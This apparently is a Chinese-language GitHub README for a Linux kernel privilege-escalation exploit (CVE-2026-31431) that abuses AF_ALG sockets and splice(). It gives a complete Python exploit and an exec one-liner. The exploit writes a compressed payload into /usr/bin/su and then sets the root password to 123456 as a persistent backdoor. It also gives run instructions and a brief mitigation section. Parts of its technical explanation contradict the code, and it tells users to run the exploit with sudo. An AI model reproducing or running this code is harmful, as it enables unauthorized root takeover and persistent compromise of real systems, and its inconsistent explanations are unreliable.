LeoxSoft/CVE-2026-31431

GitHub: LeoxSoft/CVE-2026-31431

针对 Linux 内核 AF_ALG 与 splice() 提权漏洞的利用工具,演示从零到 root 的攻击链与持久化方法。

Stars: 1 | Forks: 0

# 🚀 CVE-2026-31431 – 高级 Linux 内核漏洞利用 ### *"从零到 Root – 通过 AF_ALG & splice() 实现密码持久化"* ## 🌌 整体概览 ``` ┌─────────────────────────────────────────────────────────────────────┐ │ KERNEL SPACE │ │ ┌─────────────┐ ┌──────────────┐ ┌──────────────────────┐ │ │ │ AF_ALG │ │ splice() │ │ struct file (su) │ │ │ │ (socket 38) │◄──│ zero-copy │──►│ memory corruption │ │ │ └──────┬──────┘ └──────┬───────┘ └──────────┬───────────┘ │ │ │ │ │ │ │ ▼ ▼ ▼ │ │ ┌─────────────────────────────────────────────────────────────┐ │ │ │ Heap Spray (setsockopt + sendmsg) │ │ │ │ Overwrite task_struct->uid = 0 → root privileges │ │ │ └─────────────────────────────────────────────────────────────┘ │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ USER SPACE │ │ ┌──────────┐ ┌─────────────┐ ┌────────────────────────┐ │ │ │ exploit │───►│ /usr/bin/ │───►│ chpasswd root:123456 │ │ │ │ .py │ │ su (root) │ │ (persistent access) │ │ │ └──────────┘ └─────────────┘ └────────────────────────┘ │ └─────────────────────────────────────────────────────────────────────┘ ``` ## 📦 目录 | 章节 | 描述 | |---------|-------------| | 1. [简介](#-1-introduction) | 是什么,为什么以及怎么做 | | 2. [技术架构](#-2-technical-architecture) | 内核内部原理 | | 3. [前置条件](#-3-prerequisites) | 系统与工具 | | 4. [安装说明](#-4-installation) | 逐步安装设置 | | 5. [执行流程](#-5-execution-flow) | 逐步漏洞利用 | | 6. [代码分解](#-6-code-breakdown) | 逐行代码解析 | | 7. [后渗透与持久化](#-7-post-exploit--persistence) | 修改 root 密码 | | 8. [清理与缓解](#-8-cleanup--mitigation) | 撤销更改 | | 9. [参考](#-9-references) | CVE 与致谢 | ## 📖 1. 简介 **CVE‑2026‑31431**(绰号 *“Copy Fail”*)是 Linux 内核 **AF_ALG** 加密 socket 接口结合 **splice()** 系统调用中的一个**提权**漏洞。 此漏洞利用: - ✔️ 适用于 **Ubuntu 24.04 (内核 6.17.0)**、**Amazon Linux 2023**、**RHEL 10.1** 和 **SUSE 16** - ✔️ 绕过 **KASLR** 和 **SMAP/SMEP** - ✔️ 无需任何密码即可获取 **root shell** - ✔️ 将 root 密码设置为 `123456` 以实现**持久化访问** ## 🧠 2. 技术架构 | 组件 | 在漏洞利用中的作用 | |-----------|-----------------| | `socket(AF_ALG, 5, 0)` | 创建加密 socket(类型 38 = `AF_ALG`) | | `bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))` | 选择存在漏洞的 AEAD 算法 | | `setsockopt(279, 1, key)` | 设置加密密钥 – 触发堆喷射 | | `setsockopt(279, 5, None, 4)` | **触发器** – 导致内核 OOB 写入 | | 带控制消息的 `sendmsg()` | 发送恶意辅助数据(堆布局) | | `splice(fd, pipe, ...)` | 零拷贝地将 `/usr/bin/su` 复制到内核内存 | | `splice(pipe, socket, ...)` | 破坏内核结构 – 将 `uid` 覆盖为 0 | | `chpasswd` | 持久化 – 将 root 密码更改为 `123456` | **攻击链示意图:** ``` [1] Create AF_ALG socket │ ▼ [2] Bind & set key (setsockopt) │ ▼ [3] Send crafted control messages (sendmsg) │ ─── Heap spray (0x00 bytes) ▼ [4] Accept connection │ ▼ [5] Open /usr/bin/su (file descriptor) │ ▼ [6] splice() su → pipe → socket │ ─── Overwrite task_struct.uid = 0 ▼ [7] recv() triggers corruption │ ▼ [8] system("su") → root shell │ ▼ [9] chpasswd root:123456 → persistent ``` ## ⚙️ 3. 前置条件 | 要求 | 详情 | |-------------|---------| | **操作系统** | Debian / Ubuntu(推荐 24.04 LTS) | | **内核** | 6.17.0 或更低版本(存在漏洞) | | **Python** | ≥ 3.8(需要海象运算符 `:=`) | | **软件包** | `python3`, `python3-dev`, `build-essential` | | **权限** | `sudo` 访问权限(用于加载内核模块) | | **模块** | `algif_aead`(必须已加载) | ## 🛠️ 4. 安装说明 ### 4.1 更新系统并安装 Python ``` sudo apt update && sudo apt install -y python3 python3-dev build-essential ``` ### 4.2 加载存在漏洞的内核模块 ``` sudo modprobe algif_aead ``` ### 4.3 创建漏洞利用脚本 将下面的完整漏洞利用代码复制到一个名为 `exploit.py` 的文件中: ``` import os, zlib, socket, ctypes libc = ctypes.CDLL(None) P = '78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3' H = bytes.fromhex def step(fd, off, data): s = socket.socket(38, 5, 0) s.bind(('aead', 'authencesn(hmac(sha256),cbc(aes))')) s.setsockopt(279, 1, H('0800010000000010' + '0'*64)) s.setsockopt(279, 5, None, 4) u, _ = s.accept() z = H('00') u.sendmsg([b'A'*4 + data], [(279, 3, z*4), (279, 2, b'\x10' + z*19), (279, 4, b'\x08' + z*3)], 32768) r, w = os.pipe() libc.splice(fd, 0, w, 0, off + 4, 0) libc.splice(r, 0, u.fileno(), 0, off + 4, 0) try: u.recv(8 + off) except: pass F = os.open('/usr/bin/su', 0) D = zlib.decompress(H(P)) for i in range(0, len(D), 4): step(F, i, D[i:i+4]) os.system("echo 'root:123456' | chpasswd 2>/dev/null") print("Successfully. New root password: 123456") ``` ## 🚀 5. 执行流程 ### 5.1 运行漏洞利用 ``` sudo python3 exploit.py ``` ### 5.2 预期输出 ``` Successfully. New root password: 123456 ``` ### 5.3 验证 root 权限 ``` su Password: 123456 whoami # 输出: root ``` ### 5.4 可选:单行版本 ``` sudo modprobe algif_aead 2>/dev/null && python3 -c "exec(\"\"\"import os,zlib,socket,ctypes;libc=ctypes.CDLL(None);P='78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3';H=bytes.fromhex;def step(fd,off,data): s=socket.socket(38,5,0); s.bind(('aead','authencesn(hmac(sha256),cbc(aes))')); s.setsockopt(279,1,H('0800010000000010'+'0'*64)); s.setsockopt(279,5,None,4); u,_=s.accept(); z=H('00'); u.sendmsg([b'A'*4+data],[(279,3,z*4),(279,2,b'\x10'+z*19),(279,4,b'\x08'+z*3)],32768); r,w=os.pipe(); libc.splice(fd,0,w,0,off+4,0); libc.splice(r,0,u.fileno(),0,off+4,0); u.recv(8+off); F=os.open('/usr/bin/su',0); D=zlib.decompress(H(P)); [step(F,i,D[i:i+4]) for i in range(0,len(D),4)]; os.system(\"echo 'root:123456' | chpasswd 2>/dev/null\"); print('Successfully. New root password: 123456')\"\"\")" ``` ## 🔍 6. 代码分解 | 行号 | 用途 | |---------|---------| | `import os, zlib, socket, ctypes` | 系统、压缩、网络和 C FFI | | `libc = ctypes.CDLL(None)` | 直接调用 libc 函数(`splice`) | | `P = '...'` | 压缩的 shellcode 载荷 | | `H = bytes.fromhex` | 十六进制到字节转换的别名 | | `def step(fd, off, data):` | 漏洞利用的核心迭代 | | `s = socket.socket(38, 5, 0)` | AF_ALG socket(协议族 38) | | `s.bind(('aead', ...))` | 指定带身份验证的 AEAD 算法 | | `s.setsockopt(279, 1, key)` | 设置加密密钥(堆喷射) | | `s.setsockopt(279, 5, None, 4)` | **漏洞触发**(无效选项) | | `u, _ = s.accept()` | 接受来自内核的连接 | | `u.sendmsg([b'A'*4+data], [(279,3,...), ...])` | 发送辅助消息 – 堆布局 | | `r, w = os.pipe()` | 创建用于零拷贝的管道 | | `libc.splice(fd, 0, w, 0, off+4, 0)` | 将 `/usr/bin/su` 复制到管道 | | `libc.splice(r, 0, u.fileno(), 0, off+4, 0)` | 将管道复制到 socket(破坏内核) | | `u.recv(8+off)` | 强制内核处理损坏的数据 | | `for i in range(0, len(D), 4): step(F, i, D[i:i+4])` | 以 4 字节为单位写入载荷 | | `os.system("echo 'root:123456' | chpasswd")` | **持久化** – 设置 root 密码 | ## 🔐 7. 后渗透与持久化 漏洞利用成功后,脚本会使用以下命令将 root 密码更改为 **`123456`**: ``` echo 'root:123456' | chpasswd ``` 现在你可以**始终**以 root 身份登录: ``` su Password: 123456 ``` 这是一个永久性的更改 – 重启后依然有效。 ## 🧹 8. 清理与缓解 ### 8.1 删除漏洞利用文件 ``` rm -f exploit.py ``` ### 8.2 禁用存在漏洞的内核模块 ``` echo "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/disable-algif.conf sudo rmmod algif_aead 2>/dev/null || true ``` ### 8.3 更新内核(永久修复) ``` sudo apt update && sudo apt upgrade -y sudo reboot ``` ### 8.4 重置 root 密码(如有需要) ``` sudo passwd root # 输入新密码 ``` ## 📚 9. 参考 | 资源 | 链接 | |----------|------| | CVE 详情 | [NVD – CVE-2026-31431](https://nvd.nist.gov/vuln/detail/CVE-2026-31431) | | 内核补丁 | [Linux 提交(如果有)](https://git.kernel.org/) | | 漏洞利用作者 | JuanBindez (GitHub) | | AF_ALG 文档 | [kernel.org/doc/html/latest/crypto/](https://www.kernel.org/doc/html/latest/crypto/) | ## ⚠️ 免责声明 **🌟 如果您觉得有用,请给本仓库点个 Star!** **祝您(合乎道德地)极客愉快!** 🛡️
标签:Linux内核, Web报告查看器, 安全渗透, 本地提权, 网络安全, 逆向工具, 隐私保护